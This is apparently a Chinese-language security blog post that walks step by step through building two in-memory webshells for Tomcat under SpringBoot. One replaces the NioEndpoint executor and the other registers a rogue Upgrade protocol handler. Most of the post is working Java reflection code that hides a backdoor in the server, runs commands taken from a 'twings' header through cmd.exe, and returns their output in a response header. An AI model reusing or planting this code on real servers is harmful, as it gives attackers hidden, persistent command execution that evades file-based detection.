前言
无。
环境搭建
跟上一篇一样,还是SpringBoot。
Executor内存马
跟filter shell类似的实现方式,用于接受HTTP请求的NioEndpoint对象会调用其父类的processSocket函数,其关键代码如下:
Executor executor = getExecutor();
if (dispatch && executor != null) {
executor.execute(sc);
} else {
sc.run();
}
而getExecutor函数直接从本对象中取出executor:
public Executor getExecutor() {
return executor;
}
我们可以通过将这个executor替换为我们自己实现的子类的方式注入shell,也不会影响正常使用。
首先要想办法从Thread中找到这个NioEndpoint,调试发现Thread.currentThread()拿到的不是放有NioEndpoint对象的线程,那就先把所有线程拿出来:
Field f = ThreadGroup.class.getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[])f.get(Thread.currentThread().getThreadGroup());
调试可以得到NioEndpoint所属线程名为http-nio-8080-Poller:
然后反射几次拿到NioEndpoint:
NioEndpoint nioEndpoint = null;
for (Thread thread: threads) {
if (thread.getName().contains("http") && thread.getName().contains("Poller")) {
f = Thread.class.getDeclaredField("target");
f.setAccessible(true);
Object pollor = f.get(thread);
f = pollor.getClass().getDeclaredField("this$0");
f.setAccessible(true);
nioEndpoint = (NioEndpoint)f.get(pollor);
break;
}
}
先写一个简单的自定义Executor:
class ShellExecutor extends ThreadPoolExecutor {
public ShellExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
}
@Override
public void execute(Runnable command) {
super.execute(command);
}
}
再将我们的Executor设置进去:
if (nioEndpoint == null) {
return;
}
ThreadPoolExecutor executor = (ThreadPoolExecutor)nioEndpoint.getExecutor();
if (executor instanceof ShellExecutor) {
return;
}
nioEndpoint.setExecutor(new ShellExecutor(executor.getCorePoolSize(), executor.getMaximumPoolSize(),
executor.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, executor.getQueue(),
executor.getThreadFactory(), executor.getRejectedExecutionHandler()));
调试一下看到流程没有问题,我们的executor也能正常触发,接下来开始编写Executor中的命令接收、命令执行和结果回显部分,根据参考文章,我们可以从NioEndpoint-nioChannels-appReadBufHandler-Buffer里面找到request数据:
比较奇怪的一点是nioChannels里的数据并不稳定,不一定会存在我们需要的NioChannels,我们需要再找找有没有其他地方还保存有request数据。通过调试可以看到execute的参数command对象中可以通过socketWrapper-socket-appReadBufHandler的方式找到我们需要的数据:
截一下字符串然后命令执行:
Field f = command.getClass().getSuperclass().getDeclaredField("socketWrapper");
f.setAccessible(true);
SocketWrapperBase<?> socketWrapper = (SocketWrapperBase<?>)f.get(command);
NioChannel socket = (NioChannel)socketWrapper.getSocket();
f = NioChannel.class.getDeclaredField("appReadBufHandler");
f.setAccessible(true);
Http11InputBuffer appReadBufHandler = (Http11InputBuffer)f.get(socket);
String request = new String(appReadBufHandler.getByteBuffer().array(), StandardCharsets.UTF_8);
if (request.contains("twings:")) {
String c = request.substring(request.indexOf("twings:") + "twings:".length(),
request.indexOf("\r", request.indexOf("twings:")) - 1);
String[] cmd = new String[]{"cmd.exe", "/c", c};
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
System.out.println(new String(result));
}
最后就是把执行结果打印出来,根据参考文章我们可以根据request和response的嵌套关系,找到response然后将结果放到响应头中。我们找一找request,可以在command-socketWrapper-endpoint-handler-global-processors-req找到:
继续反射把它拿出来:
f = socketWrapper.getClass().getSuperclass().getDeclaredField("endpoint");
f.setAccessible(true);
NioEndpoint nioEndpoint = (NioEndpoint)f.get(socketWrapper);
RequestGroupInfo requestGroupInfo = (RequestGroupInfo)nioEndpoint.getHandler().getGlobal();
f = RequestGroupInfo.class.getDeclaredField("processors");
f.setAccessible(true);
List<?> processors = (List<?>)f.get(requestGroupInfo);
RequestInfo requestInfo = (RequestInfo)processors.get(0);
f = RequestInfo.class.getDeclaredField("req");
f.setAccessible(true);
Request request = (Request)f.get(requestInfo);
Response response = request.getResponse();
response.addHeader("Res", new String(result, StandardCharsets.UTF_8));
最后结果:
Processor内存马
根据参考文章,找到Http11Processor类的service函数,当请求存在connection和Upgrade请求头时会做相应处理:
if (isConnectionToken(request.getMimeHeaders(), "upgrade")) {
// Check the protocol
String requestedProtocol = request.getHeader("Upgrade");
UpgradeProtocol upgradeProtocol = protocol.getUpgradeProtocol(requestedProtocol);
if (upgradeProtocol != null) {
if (upgradeProtocol.accept(request)) {
...
}
}
}
根据Upgrade请求头获取对应的UpgradeProtocol,并调用其accept函数。先看看这个isConnectionToken函数要怎么满足:
private static boolean isConnectionToken(MimeHeaders headers, String token) throws IOException {
MessageBytes connection = headers.getValue(Constants.CONNECTION);
if (connection == null) {
return false;
}
Set<String> tokens = new HashSet<>();
TokenList.parseTokenList(headers.values(Constants.CONNECTION), tokens);
return tokens.contains(token);
}
调试可知只要connection请求头的值为upgrade就可以,再看看这个getUpgradeProtocol函数是怎么找UpgradeProtocol的,这里的protocol是一个Http11NioProtocol对象,其父类AbstractHttp11Protocol的getUpgradeProtocol函数如下:
@Override
public UpgradeProtocol getUpgradeProtocol(String upgradedName) {
return httpUpgradeProtocols.get(upgradedName);
}
httpUpgradeProtocols是一个HashMap,简单来说就是根据Upgrade请求头的值从这个HashMap中找到对应的UpgradeProtocol。所以只要我们能像添加filter shell一样向这里添加一个自定义UpgradeProtocol就能完成内存马,AbstractHttp11Protocol里面没有合适的可以直接调用的向里面put东西的函数,所以我们还是得借助反射。
老样子,先看看怎么找到这个Http11NioProtocol对象,我们翻翻Thread.currentThread()看看,调试调用栈,可以看到NioEndpoint里面能找到这个对象:
找到它然后添加一个自定义ShellProcessor进去:
AbstractEndpoint.Handler<?> handler = nioEndpoint.getHandler();
f = handler.getClass().getDeclaredField("proto");
f.setAccessible(true);
Http11NioProtocol http11NioProtocol = (Http11NioProtocol)f.get(handler);
f = Http11NioProtocol.class.getSuperclass().getSuperclass().getDeclaredField("httpUpgradeProtocols");
f.setAccessible(true);
HashMap<String, ShellProcessor> httpUpgradeProtocols = (HashMap<String, ShellProcessor>)f.get(http11NioProtocol);
if (httpUpgradeProtocols.containsKey("twings")) {
return;
}
httpUpgradeProtocols.put("twings", new ShellProcessor());
由于accept函数自带一个request参数,所以取命令就很简单了:
@Override
public boolean accept(Request request) {
try {
String[] cmd = new String[]{"cmd.exe", "/c", request.getHeader("Twings")};
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
Response response = request.getResponse();
response.addHeader("Res", new String(result, StandardCharsets.UTF_8));
}catch (Exception e) {
// pass
}
return false;
}
结果看起来也没什么问题: